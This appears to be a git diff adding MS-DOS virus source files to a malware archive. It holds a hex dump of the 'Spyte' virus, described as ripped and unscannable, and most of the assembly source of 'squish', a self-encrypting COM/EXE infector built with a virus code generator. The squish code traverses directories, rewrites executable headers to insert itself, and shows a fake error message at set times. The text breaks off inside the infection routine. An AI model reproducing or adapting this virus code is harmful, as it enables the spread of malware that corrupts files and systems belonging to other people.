dup(00h),20h,4bh,1eh dup(00h),40h + db 4bh,1eh dup(00h),60h,4bh,1eh dup(00h),80h,4bh + db 1eh dup(00h),0a0h,4bh,1eh dup(00h),0c0h,4bh,1eh dup(00h) + db 0e0h,4bh,1fh dup(00h),4ch,1eh dup(00h),20h,4ch + db 1eh dup(00h),40h,4ch,1eh dup(00h),60h,4ch,1eh dup(00h) + db 80h,4ch,1eh dup(00h),0a0h,4ch,1eh dup(00h),0c0h,4ch + db 1eh dup(00h),0e0h,4ch,1fh dup(00h),4dh,1eh dup(00h),20h + db 4dh,1eh dup(00h),40h,4dh,1eh dup(00h),60h,4dh + db 1eh dup(00h),80h,4dh,1eh dup(00h),0a0h,4dh,1eh dup(00h) + db 0c0h,4dh,1eh dup(00h),0e0h,4dh,1fh dup(00h),4eh + db 02h dup(00h),07h,32h,1dh,00h,07h,42h,1dh,00h,07h,52h,1dh + db 11h dup(00h),20h,4eh,1eh dup(00h),40h,4eh,1eh dup(00h) + db 60h,4eh,1eh dup(00h),80h,4eh,1eh dup(00h),0a0h,4eh + db 1eh dup(00h),0c0h,4eh,1eh dup(00h),0e0h,4eh,1fh dup(00h) + db 4fh,1eh dup(00h),20h,4fh,1eh dup(00h),40h,4fh + db 1eh dup(00h),60h,4fh,1eh dup(00h),80h,4fh,1eh dup(00h) + db 0a0h,4fh,1eh dup(00h),0c0h,4fh,1eh dup(00h),0e0h,4fh + db 1fh dup(00h),50h,1eh dup(00h),20h,50h,1eh dup(00h),40h + db 50h,1eh dup(00h),60h,50h,1eh dup(00h),80h,50h + db 1eh dup(00h),0a0h,50h,1eh dup(00h),0c0h,50h,1eh dup(00h) + db 0e0h,50h,1fh dup(00h),51h,1eh dup(00h),20h,51h + db 1eh dup(00h),40h,51h,1eh dup(00h),60h,51h,1eh dup(00h) + db 80h,51h,0eh dup(00h),4dh,17h,0ah,0ffh,0fh,03h dup(00h) + db 'SHELLC',02h dup(00h) +code_end: + int 20h ; Terminate program! + +end code_begin diff --git a/MSDOS/Virus.MSDOS.Unknown.spyte.asm b/MSDOS/Virus.MSDOS.Unknown.spyte.asm new file mode 100644 index 00000000..f21d4d0c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.spyte.asm @@ -0,0 +1,304 @@ +嬪様様様様様様様様様様様様様様様様様様様様様様様様邑 + Spyte Virus Source Code + Ripped by : The Head Hunter [FS] + + Unscannable (Yet...) + +塒様様様様様様様様様様様様様様様様様様様様様様様様余 + db ff,c3,55,89,e5,a1,d4,02,05,96,00,a3,fa,ff,f0,7f,36,fc,9a,c6 + db 02,4e,00,b8,0a,00,50,9a,9e,7c,fc,f7,89,ec,5d,cb,de,0e,e8,d7 + db ff,ff,87,1e,c5,b6,0c,00,c4,be,08,00,8b,8e,06,fc,ff,ff,d7,33 + db c0,fc,ac,3c,1b,75,05,80,f4,80,eb,4d,3c,10,ff,ff,73,07,80,e4 + db 70,0a,e0,eb,42,3c,18,74,13,73,19,2c,0b,f1,10,02,c0,fe,fc,e9 + db 8f,e9,2b,81,e1,ff,c2,a0,cb,fa,eb,23,3c,19,75,0b,ac,51,32,ff + db 9f,ed,8a,c8,b0,20,eb,0d,90,3c,1a,75,0f,ac,49,ff,7f,f0,ac,e3 + db 03,ab,e2,fd,59,49,ab,e3,02,e2,a5,1f,0c,ff,87,ca,7b,08,34,30 + db '0 Me' + db f0,ff,67,a2 + db 'Running5c:\x' + db 9f,3b,fc,42,42,53,f9,fd,5c,4c,53,44,a8,28,f5,f9,64,e7,fc,f9 + db f2,f8,09,7d,fc,f5,04 + db 'PATH9' + db 81,ec,68,02,ff,c7,c4,7e,0e,06,57,8d,7e,f0,16,57,b8,0f,1b,7f + db 8c,2b,03,b0,00,bf,9d,00,0e,ed,9e,85,77,ed,50,ed,fd,0f,e6,fe + db bf,a6,e9,f8,10,bf,ae,1f,18,ed,f8,10,8d,be,98,fd,f1,af,53,18 + db f5,fe,f5,98,fb,bf,e4,c7,87,d7,9a,11,e0,9a,69,00,40,fb,08,41 + db 00,fb,86,0a,86,c8,ff,fc,21,f2,26,80,3d,00,75,23,ca,9e,13,09 + db ca,bf,a6,d4,f8,12,1b,fe,72,58,fe,d0,fe,09,f7,06,26,c6,05,00 + db eb,76,1e,07,f7,fc,01,d6,f2,0c,00,22,62,06,a9,a7,ec,22,ae,5f + db f8,0a,9a,9f,05,be,61,42,16,fe,97,2e,ff,9c,e3,48,34,e7,08,46 + db f0,b8,10,c6,d3,d8,59,f1,9a,0e,02,d8,ee,ff,e8,fd,c6,86,b3,f9 + db 01,eb,04,fe,f9,dd,fc,9a,85,f8,f3,09,e1,fd,d6,18,b3,40,31,d2 + db bf,03,89,86,ae,f9,89,96,b0,df,fd,ff,b6,f6,c0,0a,fc,ee,9a,ac + db d7,fe,94,fd,31,de,25,f9,c1,0e,ea,83,c4,04,e7,f8,0a,f8,70,c4 + db c1,8c,c2,2d,01,e9,da,00,52,b0,f0,ab,c9,f8,15,15,c9,f8,0a,68 + db 56,fd,80,f0,db,be,6f,05,74,03,e9,65,ff,69,fd,da,4a,f8,09,fd + db 7f,38,fd,f9,f2,04,00,02,4c,53,02,44,2e,03,45,58,45,ff,2b,ef + db f3,56,01,c6,46,ad,00,bf,ce,02,4a,f2,eb,f0,0b,0c,d5,ce,06,fd + db ba,aa,87,f3,f0,f2,56,f2,71,b5,bf,d1,d9,9a,9e,2c,f2,d4,f8,0c + db d8,f8,10,d4,10,60,d8,f8,0c,fb,ad,fb,b0,9f,fd,38,9c,fc,b2,fc + db 80,f3,00,74,32,61,ff,e8,f1,6a,fe,a6,e1,3d,64,00,7c,1f,89,ff + db ed,46,aa,eb,03,ff,4e,aa,ff,76,aa,a0,e4,05,a0,e5,83,bf,55,7e + db aa,64,75,e6,eb,27,d7,f8,18,01,d7,f8,0c,71,e2,e0,e9,04,c0,09 + db fb,ec,1d,c3,c2,9a,c2,01,f8,31,c0,44,e1,91,34,3f,1c,fc,bf,02 + db 00,1e,57,be,cb,8e,c6,bf,3c,0c,e0,c0,e9,96,02,50,e9,3f,fc,71 + db 5e,fc,19,fc,ed,fe,d3,9a,f3,29,e4,18,e1,cb,9a,d8,b7,bb,8b,ec + db ff,f7,1e,fc,c5,76,06,ac,8a,d8,32,ff,03,de,e1,e1,47,56,10,fe + db 1e,f0,0a,f0,c8,32,ed,f3,a4,32,ff,ff,c0,aa,4f,b8,00,43,c5,56 + db 0e,42,cd,21,1f,5e,72,06,43,7a,f7,c1,18,1e,25,d9,3b,f3,74,1d + db f8,87,e1,8a,e0,ac,3c,3b,74,05,aa,f2,3f,7c,75,f4,80,fc,3a,74 + db c2,fb,5c,74,bd,b0,5c,38,fe,38,b8,8b,c7,d9,2b,c7,48,aa,1f,d3 + db f9,5d,ca,08,97,83,ec,20,94,8d,7e,c3,ff,e0,16,07,c9,1f,76,02 + db b0,1f,98,8b,c8,40,87,f0,8b,d0,e3,0e,f1,61,a3,3c,7a,77,7f,f8 + db 02,2c,20,aa,e2,f2,b0,3d,cb,1e,8e,1e,c8,f0,43,02,fc,2c,00,33 + db f6,80,3c,8c,11,fc,ff,ca,8b,ca,f3,a6,74,08,4e,ac,0a,c0,75,fb + db 1f,fe,eb,ea,8b,fe,1e,07,7f,b9,00,01,f2,ae,f6,1e,ae,d1,e0,e1 + db 8a,c1,aa,4f,1f,8b,e5,f7,ea,fe,9d,ff,ff,db,f1,e8,2a,00,bf,ea + db 02,1e,6e,f1,1f,03,ef,14,f7,9a,1c,06,39,f1,ea,03,ed,0c,71,f4 + db ed,f7,9a,21,ed,a1,f2,b4,0f,ff,f0,e8,d3,05,3c,07,74,0a,3c,03 + db 57,b8,03,00,e1,ff,e8,56,fd,a1,00,b4,08,32,ff,e8,bb,05,8a,ff + db 0f,c4,24,7f,a2,e6,02,a2,dc,02,33,c0,a2,d7,e1,ff,f8,e7,fd,e8 + db 02,40,a2,d6,02,b8,40,00,8e,ff,c7,c0,bf,6c,00,26,8a,05,26,3a + db 05,74,fb,f8,21,fc,b9,ff,ce,3f,e7,37,00,91,f7,d0,1f,fe,33,d2 + db f7,f1,a3,e2,86,0e,1f,ba,2f,01,b8,1d,ff,1b,25,b5,f1,c3,ba,cd + db c2,26,80,26,87,00,08,7f,fe,91,05,04,72,02,b0,03,50,b4,f8,3f + db 92,54,05,58,0a,e4,74,2d,b8,12,11,b3,fc,c3,f3,47,05,b8,30,11 + db b7,00,b2,f6,3d,1f,02,05,80,fa,2a,75,16,ce,0e,ce,00,fc,bc,fd + db 08,06,e8,29,05,b4,3f,de,12,b3,20,e8,22,05,c3,49,1c,05,50,d4 + db fe,f0,0f,11,bd,b1,00,0a,d2,75,08,b2,18,ff,c3,39,77,02,b1,01 + db 8a,f2,8a,d4,fe,ca,a3,80,ff,ff,fe,18,76,02,b4,01,a3,da,02,89 + db 16,e4,02,88,0e,d9,1f,c6,02,c6,06,d8,02,01,32,a3,de,ee,ff,87 + db e0,02,c3,50,1e,b8,57,01,8e,d8,80,3e,2c,03,3c,00,74,05,e3,21 + db 01,1f,58,cf,c0,53,f1,f8,00,75,01,c3,f0,00,18,00,c1,cd,16,50 + db b4,fe,ff,fa,eb,f4,b0,5e,e8,18,03,b0,43,e8,13,03,e8,09,ff,c3 + db 03,cd,23,8b,dc,36,8b,47,04,e8,23,06,6e,0d,78,ff,a0,d8,f3,ca + db d0,eb,8a,57,0a,18,86,fc,77,08,fc,4f,06,fc,ff,e1,6f,04,3a,d1 + db 77,27,3a,f5,77,23,6e,78,1f,7f,f8,fe,ce,78,1b,fe,c9,3a,0e,72 + db 77,13,fe,cd,43,c0,3a,2e,e5,f8,0b,76,72,00,85,0e,72,0c,03,c7 + db e9,14,c3,10,06,8a,3e,b6,8b,0e,eb,8b,0f,f0,5d,e8,34,04,f9,f5 + db e8,21,03,77,fa,cb,e8,16,03,e3,fe,ca,8a,e5,19,04,cb,b8,c3,9f + db 01,07,eb,ea,01,06,50,e8,f9,02,58,e2,f4,e5,8a,c8,8a,ee,c6,3a + db ee,75,0f,8c,02,32,c0,e8,f4,c7 + db 'mC?u' + db b8,99,74,69,6d,65,ff,c3 + db ' error ' + db 00,20,61,74,fb,2e,1d,0e,0d,0a,48,e1,87,06,1a,cb,83,3e,0e,ff + db fb,17,c9,cb,a1,f9,e9,b5,fe,8b,f4,36,8e,ff,e1,44,02,26,3b,55 + db 02,7f,07,7c,14,f8,05,72,78,80,0f,f3,06,7c,08,f1,f8,c3,c7,45 + db 04,77,d8,b8,c9,00,e9,8d,d8,1f,3e,2b,f0,72,0d,81,ee,91,72,07 + db 3b,36,ca,60,08,fa,e7,ca,e7,74,fd,ff,e7,c8,49,e9,f0,8b,fa,f7 + db e1,50,52,8b,c6,f7,e3,8b,03,fc,d8,8b,c7,f4,ea,5a,58,03,d3,03 + db ff,ff,d1,cb,55,8b,e9,0b,eb,74,60,0b,db,9c,79,0a,f7,d1,ff,e9 + db f7,d3,83,c1,01,83,d3,00,0b,d2,f1,d0,f7,fd,7d,d2,05,e0,a1,d2 + db 00,8b,f1,8b,fb,33,f2,bd,21,00,d1,f8,ff,ff,d3,2b,ce,1b,df,73 + db 04,03,ce,13,df,f5,ff,85,d1,d0,d1,d2,4d,75,ea,9d,79,0f,c3,f8 + db 09,f3,83,f7,05,eb,0d,fb,c0,f8,0a,5d,cb,5d,ea,e9,e9,e7,ff,07 + db fd,83,e1,1f,74,06,d1,ea,d1,d8,e2,fa,18,0e,08,f4,e0,c0,f4,fd + db fd,90,7d,d1,f8,0a,cb,fc,8b,dc,8c,da,0a,d9,08,36,c5,77,bb,42 + db 04,ac,aa,f9,ac,8e,da,29,d9,e6,fc,ea,0a,7c,78,e2,06,36,8b,4f + db e2,3a,c1,76,02,ed,0b,8a,b1,dc,ff,0a,cf,d6,8a,05,32,e4,ce,ff + db 71,f1,ef,0c,ca,08,8a,42,f1,ca,06,0b,fb,27,c9,7f,03,06,d9,03 + db f1,2b,c1,72,13,40,b8,18,c2,ee,7d,02,1d,3b,b3,06,7b,2e,8b,c1 + db eb,a5,b1,aa,8b,c8,b1,08,bf,ff,43,f8,73,aa,0d,98,ac,26,00,05 + db 0d,1f,73,08,07,99,ff,87,f6,d0,03,f9,47,54,c6,83,61,f8,09,6e + db c9,9a,b9,7f,d5,7f,f8,e3,29,47,ac,3c,01,72,29,ed,ac,f2,ae,75 + db 87,3f,1c,4f,eb,1f,7f,8b,d1,2b,d0,72,11,42,7e,c0,9f,a6,74,0e + db 2b,c8,7b,be,c3,ff,4a,75,f0,8c,eb,08,2b,f8,8b,c7,36,2b,47,15 + db c6,04,1f,88,ff,b3,fd,8d,8a,25,99,f1,e3,3a,cc,13,cc,0a,c9,74 + db 06,12,a6,d7,5b,75,02,3a,c4,5d,fe,f0,f2,b0,01,aa,0a,c2,aa,80 + db c1,a3,68,4b,fe,0a,bf,d8,f1,eb,30,fd,06,ff,ea,03,ca,81,ec,00 + db 02,8d,be,00,fa,92,1b,93,1e,a1,8b,5b,a1,46,06,48,b4,e1,d0,1b + db 91,63,89,f7,08,e5,06,1e,99,00,8c,99,df,ff,79,a9,ff,dc,58,29 + db ea,b1,fe,62,91,f8,8a,ec,08,ac,0e,f4,6f,fe,15,aa,05,91,ac,fc + db 83,7e,9b,2a,a1,7e,43,a6,f8,10,08,a6,76,03,91,af,ff,86,c6,ec + db 03,8f,50,ab,fc,5c,ab,9a,ad,99,ab,fc,ef,fc,19,aa,94,c9,4c,ec + db e1,7e,fc,89,bc,a8,c1,04,92,f7,f3,92,25,e8,36,00,93,ff,ff,b8 + db 80,00,b9,20,00,f6,c6,80,75,0a,d1,e3,d1,d2,fe,ff,f0,c8,e2,f3 + db 32,c0,80,e6,7f,cb,c4,00,cd,3c,ff,87,9f,06,65,05,cd,37,06,ce + db 02,cd,35,e1,fd,ff,e1,fd,cd,39,d9,cd,3d,cb,e1,ff,a1,ef,8b,1e + db f0,4f,d0,fc,c8,2e,f7,26,9d,05,d1,e1,3f,86,fe,02,e9,03,d1,03 + db d3,bc,e3,fa,1f,0c,02,f3,b1,05,d3,e3,fa,7b,ec,a3,c3,b7,d2,89 + db 16,d2,c3,05,84,b4,2c,a3,d1,0e,ea,03,f1,fc,62,bb,f4,ed,92,c1 + db ab,b8,b0,d7,fc,44,f8,73,ab,f5,ff,8d,45,74,ab,38,c4,8c,ec,c1 + db 06,f9,c8,ed,7f,ab,b9,0e,00,f3,ab,ac,3c,4f,9c,99,4f,35,9f,25 + db f2,35,c6,51,f3,0a,69,f2,17,c1,04,f8,06,f8,e8,ee,0c,f8,0b,c1 + db 45,0e,01,c6,45,0a,33,e9,ba,1f,de,b1,d7,eb,08,ba,b2,fb,03,ba + db b3,d7,f5,be,3b,1c,45,02,3d,17,b9,12,3d,e9,74,0d,3d,ee,f7,7e + db 74,10,c7,c7,d9,66,00,eb,24,52,45,f2,24,00,b4,5f,5a,bd,55,02 + db b9,fe,bb,10,00,e8,4a,93,d2,05,35,ac,b3,e3,ba,d5,74,b1,b2,fd + db ca,b4,18,61,0a,f8,b0,08,b5,67,0f,d0,e0,18,50,bb,14,ca,fd,58 + db fa,d1,43,05,0c,bb,1c,f5,09,5f,b9,c1,fd,9b,b8,5d,fe,26,ff,19 + db 37,d1,03,69,d1,5f,07,e5,a9,ff,7e,78,b3,33,c9,89,0d,b8,00,3d + db af,fc,0d,b0,02,ff,05,84,3f,f5,4a,74,02,b4,3c,80,7d,30,fc,7f + db 7f,09,8d,55,30,cd,21,72,4f,89,05,b8,9d,07,d8,43,d3,8b,d9,d6 + db fc,29,8b,1d,ca,44,f8,7f,e7,b8,f2,07,8b,c8,8c,cb,f6,c2,80,75 + db 11,fe,b3,c7,75,03,e8,26,00,b8,cd,d5,7e,b8,2b,b3,30,b5,4d,18 + db 89,5d,1a,ef,1c,12,08,23,74,2e,b7,33,d2,db,b9,02,de,89,2d,80 + db 43,78,2d,82,73,72,c0,eb,8b,ca,8b,d0,c2,05,a2,e9,8d,95,cc,e9 + db fd,18,fa,f2,b4,3f,f3,73,1e,e1,33,db,3b,c7,f0,d8,74,20,80,ec + db 1a,38,43,eb,f2,57,5a,8b,d3,2b,d0,cf,91,ba,fd,b1,b4,40,40,d1 + db bf,f2,0f,f4,04,26,c5,55,0c,7c,b1,83,f1,bf,72,0a,8b,10,a7,f2 + db 99,f1,79,08,00,74,ab,61,61,f6,0a,f6,eb,ee,d0,f8,0a,bc,26,87 + db 7d,58,4a,b1,b7,fc,72,07,2b,c1,98,b8,65,47,af,51,ff,db,f8,14 + db 68,e0,fc,17,f4,1d,83,fb,04,76,06,55,fb,b4,3e,e6,fc,c7,ff,81 + db e8,0c,98,e9,16,98,e8,16,a0,d2,02,ef,05,b4,3d,33,d2,eb,4f,b9 + db 3c,ba,01,09,ac,95,4d,ea,a4,f1,cc,e9,1a,f8,63,f1,0f,f3,c4,e9 + db '4~wP' + db c3,eb,4c,00,5a,58,26,52,f3,12,1e,51,f1,06,1f,70,2f,60,b4,c1 + db 73,06,17,f1,eb,11,92,fd,ea,40,ad,cc,05,05,d1,d9,45,ea,5d,b0 + db d9,8e,56,54,fc,d7,c1,75,0e,34,38,fc,73,e7,ea,38,ff,37,b1,5c + db a9,75,17,33,fd,09,33,e1,f6,43,b1,ef,77,fd,06,86,ec,c3,b4,3f + db ba,64,71,05,d8,ff,b9,ba,65,4e,fc,0a,e8,dc,ff,75,1b,1e,52,15 + db fe,c5,56,4d,a1,7e,f3,be,5a,1f,72,06,3b,c1,10,3d,74,78,c2,b6 + db da,a2,b3,3f,b9,dd,43,ca,b3,40,b9,ca,fd,10,e8,a6,ca,3f,e8,7f + db 58,0a,59,e9,1c,1e,51,26,f7,65,04,8b,c8,38,07,bd,0c,8a,e3,bf + db 59,bf,08,7b,25,d2,ea,75,04,8f,a1,8c,c2,0b,88,87,80,05,29,eb + db 1c,3b,cf,27,d4,74,17,89,0e,12,a6,e4,ff,af,e2,d0,50,05,98,0e + db 6e,fe,4a,a4,21,3b,d9,c5,a2,aa,fc,f3,f2,f7,03,93,e9,a4,ec,e2 + db 92,eb,1e,3c,db,44,00,4e,c1,49,83,e1,37,f9,01,1d,33,db,0e,e8 + db 8c,f8,2e,92,2d,7c,73,e9,13,8b,c1,8b,d3,e5,f8,0c,71,e5,12,f8 + db 8f,e5,0b,2b,c1,1b,d3,72,05,b0,01,d5,05,f0,32,08,f4,1f,d2,d6 + db f4,75,2b,74,c1,45,8c,eb,96,01,96,52,50,f2,fe,49,ea,5b,40,aa + db 59,f0,ab,7a,fc,58,a1,ab,f4,fd,ff,f4,e2,f9,8b,a8,0a,16,0f,41 + db ' New Crac?' + db fc + db 'k From.' + db ff,0e,1a,3c,da,18,fd,21,1a,4f,fc,f8,0a,0c,da,0c,1a,09,b1,e8 + db 04,c6,d8,f8,08,f8,07,f8,0b,f0,f8,0a,18,62,08,dc,0a,f4,b1,f5 + db 09,84,66,f9,fa,03,f3,fc,06,f3,25,a6,fa,fc,ed,fd,f9,c7,f3,6c + db 51,05,f3,c2,f8,0a,0e,c8,f8,09,f9,ad,f8,0a,2c,14,f9,0f,d9,f8 + db 14,fa,0b,da,f8,10,c1,b0,ee,d6,61,f8,09,da,ff,0c,b0,22,30,fa + db fd,86,fe,d2,82,c3,54,15,d1,15,66,f8,09,e6,fc,d3,f8,12,a5,fe + db d4,f8,0d,91,48,71,d4,d6,36,55,f8,11,45,54,ef,ff,d0,fd,67,d4 + db 22,fd,e5,fd,55,e9,fc,f0,09,49,f8,0a,d3,f8,13,96,f7,66,f0,0b + db fc,12,da,ff,bf,0f + db 'The Up and Com' + db ff,e9 + db 'cI Power In' + db f0,70,75,b8,01,74,f4,50,69,1b,f1,79,bd,84,ff,d1,c5,f8,09,68 + db 0b + db 'Doc Tol' + db d3,ff,73,65,6e,59,0b + db 'Prof. FamHlk' + db ef,fd,54,61,ac,4c,fc,64,1f,3e,65,0b,53,68,6f,6b,cf,72,65,61 + db 74,6d,34,04,de,74,ed,fc,6e,93,4d,84,12,2e,d1,a9,fc,5a,0a,34 + db 32,d2,44,0d,ff,1f,0a,43,b1 + db 'l SPyTE' + db ff,0f + db ' HQ - (404) ?' + db e1,c2,ff,2d,cd,3f,19,02,af,45,9c,53,10,b4,44,d1,0c,c0,eb,90 + db 0c,ff,f8,2c,02,02,00,c5,f8,0c,00,f0,00,00,00,00,00,00,00,00 + db b1,03,00,00,00,40,ab,01,25,01,71,00,92,01 + PUSH ES + PUSH CS + POP DS + MOV CX, WORD PTR [Data0] + MOV SI, CX + DEC SI + MOV DI, SI + MOV BX, DS + ADD BX, WORD PTR [Data1] + MOV ES, BX + STD + REPNZ + MOVSB + PUSH BX + MOV AX, 002bh + PUSH AX + RETF + db 2e,8b,2e,08,00,8c,da,89,e8,3d,00,10,76,03,b8,00,10,29,c5,29 + db c2,29,c3,8e,da,8e,c3,b1,03,d3,e0,89,c1,d1,e0,48,48,8b,f0,8b + db f8,f3,a5,09,ed,75,d8,fc,8e,c2,8e,db,31,f6,31,ff,ba,10,00,ad + db 89,c5,d1,ed,4a,75,05,ad,89,c5,b2,10,73,03,a4,eb,f1,31,c9,d1 + db ed,4a,75,05,ad,89,c5,b2,10,72,22,d1,ed,4a,75,05,ad,89,c5,b2 + db 10,d1,d1,d1,ed,4a,75,05,ad,89,c5,b2,10,d1,d1,41,41,ac,b7,ff + db 8a,d8,e9,13,00,ad,8b,d8,b1,03,d2,ef,80,cf,e0,80,e4,07,74,0c + db 88,e1,41,41,26,8a,01,aa,e2,fa,eb,a6,ac,08,c0,74,34,3c,01,74 + db 05,88,c1,41,eb,ea,89,fb,83,e7,0f,81,c7,00,20,b1,04,d3,eb,8c + db c0,01,d8,2d,00,02,8e,c0,89,f3,83,e6,0f,d3,eb,8c,d8,01,d8,8e + db d8,e9,72,ff + db '*FAB*' + db 0e,1f,be,58,01,5b,83,c3,10,89,da,31,ff,ac,08,c0,74,16,b4,00 + db 01,c7,8b,c7,83,e7,0f,b1,04,d3,e8,01,c2,8e,c2,26,01,1d,eb,e5 + db ad,09,c0,75,08,81,c2,ff,0f,8e,c2,eb,d8,3d,01,00,75,da,8b,c3 + db 8b,3e,04,00,8b,36,06,00,01,c6,01,06,02,00,2d,10,00,8e,d8,8e + db c0,31,db,fa,8e,d6,8b,e7,fb,2e,ff,2f,13,09,e5,13,17,13,20,05 + db 05,0e,1e,0e,3d,05,14,0f,05,1a,05,06,1e,05,11,08,19,05,11,08 + db 19,05,32,14,0a,0e,10,0a,39,09,20,09,0f,05,08,2d,05,0a,fa,13 + db 00,08,01,00,ef,04,dc,00,01,00 + + diff --git a/MSDOS/Virus.MSDOS.Unknown.squish.asm b/MSDOS/Virus.MSDOS.Unknown.squish.asm new file mode 100644 index 00000000..b13b7570 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.squish.asm @@ -0,0 +1,375 @@ +; squish.asm : [$qsH] by FNk笋h$ +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'AI' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov si,offset startencrypt ; start of decryption + mov di,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,04h ; add word ptr cs:[si], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc si ; calculate new decryption location + inc si + dec di ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],3 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ah ; Get current date + int 21h + cmp al,5 ; Check date of week + jae time +time: + mov ah,2ch ; Get current time + int 21h + cmp ch,23 ; Check the hour + jae activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + + +activate: ; Conditions satisfied + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the + ; screen, too. + mov ax,1112h ; We are gunna use the 8*8 internal + ; font, man. + int 10h ; Hey man, call the interrupt. + mov ah,09h ; Use DOS to print fake error + ; message + mov dx,offset fake_msg + int 21h + mov ah,4ch ; Lets ditch. + int 21h ; "Make it so." + jmp exit_virus + +creator db '[MPC]',0 ; Mass Produced Code Generator +virusname db '[$qsH]',0 +author db 'FNk笋h$',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,3230 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + 